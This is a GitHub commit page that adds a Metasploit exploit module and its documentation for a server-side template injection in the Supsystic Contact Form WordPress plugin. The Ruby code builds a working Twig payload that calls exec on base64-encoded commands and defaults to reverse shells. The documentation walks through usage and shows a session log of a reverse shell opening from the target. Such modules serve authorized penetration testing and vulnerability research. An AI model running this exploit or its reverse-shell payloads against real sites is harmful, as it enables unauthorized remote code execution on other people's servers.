Skip to content

Commit d747264

Browse files
committed
Adds Contact Form by supsystic Wordpress plugin module and documentation
1 parent bd73d98 commit d747264

2 files changed

Lines changed: 244 additions & 0 deletions

File tree

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This module exploits a Server Side Template Injection vulnerability in
4+
the Wordpress plugin "Contact Form" by Supsystic versions 1.7.36 and before.
5+
6+
The vulnerability exists in the `generateHtml()` function of the `formsViewCfs`
7+
class, which accepts user-controlled input via any one of the Contact Form
8+
field parameters given it is of an appropriate type (see the FIELD option for
9+
further clarification).
10+
11+
Tested Contact Form version 1.7.36 on Ubuntu 24.04 and Windows 10.
12+
13+
## Verification Steps
14+
15+
1. Start `msfconsole`
16+
2. `use exploit/multi/http/wp_plugin_supsystic_contact_form_rce`
17+
3. `set RHOSTS <target>`
18+
4. `set TARGETURI <uri to page with contact form>` (e.g., `/wordpress/index.php/sample-page/`)
19+
5. `set FIELD <contact form field>` (e.g., `email` or `first_name`)
20+
6. `set LHOST <your_ip>`
21+
7. `check`
22+
8. `exploit`
23+
24+
## Options
25+
26+
### FIELD
27+
28+
The field used to inject the payload. Must be a valid field used by the Contact
29+
Form of an appropriate type.
30+
31+
The field types that accept user input and have been confirmed to lead to RCE
32+
are Text, Textarea, Number, Email, Time, and URL. Button field types do not
33+
work.
34+
35+
The default fields are first_name, last_name, subject, message, and email,
36+
though anyone of these can be changed or removed.
37+
38+
If the FIELD isn't passed the module will attempt to derive them from the html,
39+
however no type detection is performed so the detected field could be of an
40+
invalid type. Only the first derived field is used, but you can manually try
41+
the others that are output.
42+
43+
## Scenarios
44+
45+
### Exploiting Contact Form by Supsystic 1.7.36 to obtain reverse shell
46+
47+
~~~
48+
msf > use exploit/multi/http/wp_plugin_supsystic_contact_form_rce
49+
[*] Using configured payload cmd/unix/reverse_bash
50+
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set rhost 10.0.0.45
51+
rhost => 10.0.0.45
52+
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set targeturi /wordpress/index.php/sample-page/
53+
targeturi => /wordpress/index.php/sample-page/
54+
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set lhost 10.0.0.218
55+
lhost => 10.0.0.218
56+
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set ssl false
57+
[!] Changing the SSL option's value may require changing RPORT!
58+
ssl => false
59+
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > exploit
60+
[*] Started reverse TCP handler on 10.0.0.218:4444
61+
[+] Found fields: first_name, last_name, email, subject, message, select, url, number, send, time, reset
62+
[*] Using detected field: first_name
63+
[*] Command shell session 1 opened (10.0.0.218:4444 -> 10.0.0.45:37848) at 2026-04-08 12:46:37 -0400
64+
65+
id
66+
uid=1(daemon) gid=1(daemon) groups=1(daemon)
67+
~~~
Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
16+
'Description' => %q{
17+
This module performs SSTI achieving RCE in webpages containing the
18+
Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
19+
before.
20+
},
21+
'Author' => [
22+
'Azril Fathoni', # Vulnerability Disclosure
23+
'bootstrapbool', # Metasploit Module
24+
],
25+
'License' => MSF_LICENSE,
26+
'Privileged' => false,
27+
'Targets' => [
28+
[
29+
'Unix/Linux Command Shell',
30+
{
31+
'Platform' => ['unix', 'linux'],
32+
'Arch' => ARCH_CMD,
33+
'Type' => :unix_cmd,
34+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
35+
}
36+
],
37+
[
38+
'Windows Command Shell',
39+
{
40+
'Platform' => 'win',
41+
'Arch' => ARCH_CMD,
42+
'Type' => :win_cmd,
43+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
44+
}
45+
]
46+
],
47+
'References' => [
48+
['CVE', '2026-4257'],
49+
[
50+
'URL', # Python Exploit
51+
'https://github.com/bootstrapbool/cve-2026-4257'
52+
],
53+
],
54+
'DisclosureDate' => '2026-03-30',
55+
'DefaultTarget' => 0,
56+
'Notes' => {
57+
'Reliability' => [REPEATABLE_SESSION],
58+
'Stability' => [CRASH_SAFE],
59+
'SideEffects' => [IOC_IN_LOGS]
60+
}
61+
)
62+
)
63+
register_options(
64+
[
65+
Opt::RPORT(80),
66+
OptString.new('FIELD', [
67+
false,
68+
'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
69+
]),
70+
OptString.new('TARGETURI', [false, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
71+
OptBool.new('SSL', [false, 'Use SSL', true])
72+
]
73+
)
74+
end
75+
76+
def vulnerable?(version_str)
77+
return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
78+
end
79+
80+
def get_version(body)
81+
version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
82+
match = version_regex.match(body)
83+
84+
match ? match[1] : nil
85+
end
86+
87+
def get_fields(html)
88+
pattern = /data-name="([^"]+)"/
89+
90+
field_names = html.scan(pattern).flatten.uniq
91+
92+
if field_names.any?
93+
print_good("Found fields: #{field_names.join(', ')}")
94+
return field_names
95+
else
96+
print_warning('Failed to find fields.')
97+
return nil
98+
end
99+
end
100+
101+
def handle_field
102+
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
103+
104+
unless res
105+
fail_with(Failure::Unreachable, 'Failed to recieve a reply from server.')
106+
end
107+
108+
unless res.code == 200
109+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
110+
end
111+
112+
# Might as well check the version since we sent the request...
113+
version_str = get_version(res.body)
114+
if vulnerable?(version_str)
115+
vprint_status("Version #{version_str} is vulnerable.")
116+
else
117+
vprint_warning("Version #{version_str} is not vulnerable.")
118+
end
119+
120+
fields = get_fields(res.body)
121+
122+
if !fields.nil?
123+
field = fields[0]
124+
print_status("Using detected field: #{field}")
125+
return field
126+
end
127+
128+
if field.nil
129+
fail_with(Failure::NotFound, 'Failed to resolve target field')
130+
end
131+
end
132+
133+
def send_payload(payload, field)
134+
payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}{%set p%}' \
135+
+ Rex::Text.encode_base64(payload.raw) + '{%endset%}' \
136+
+ '{%set p = p|convert_encoding((a), (b))%}{%set e%}exec{%endset%}' \
137+
+ '{{_self.env.registerUndefinedFilterCallback(e[:])}}' \
138+
+ '{{_self.env.getFilter(p)}}'
139+
140+
params = { 'cfsPreFill' => 1, field => payload }
141+
142+
send_request_cgi({
143+
'uri' => normalize_uri(target_uri.path),
144+
'vars_get' => params
145+
})
146+
end
147+
148+
def exploit
149+
if datastore['FIELD'].nil?
150+
field = handle_field
151+
else
152+
field = datastore['FIELD']
153+
end
154+
155+
send_payload(payload, field)
156+
end
157+
158+
def check
159+
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
160+
161+
return CheckCode::Unknown unless res.code == 200
162+
163+
version_str = get_version(res.body)
164+
165+
if version_str.nil?
166+
vprint_status('Failed to derive version')
167+
fields = get_fields(res.body)
168+
return CheckCode::Detected unless fields.nil?
169+
end
170+
171+
if vulnerable?(version_str)
172+
return CheckCode::Vulnerable("Detected version #{version_str}")
173+
end
174+
175+
return CheckCode::Safe("Detected version #{version_str}")
176+
end
177+
end

0 commit comments

Comments
 (0)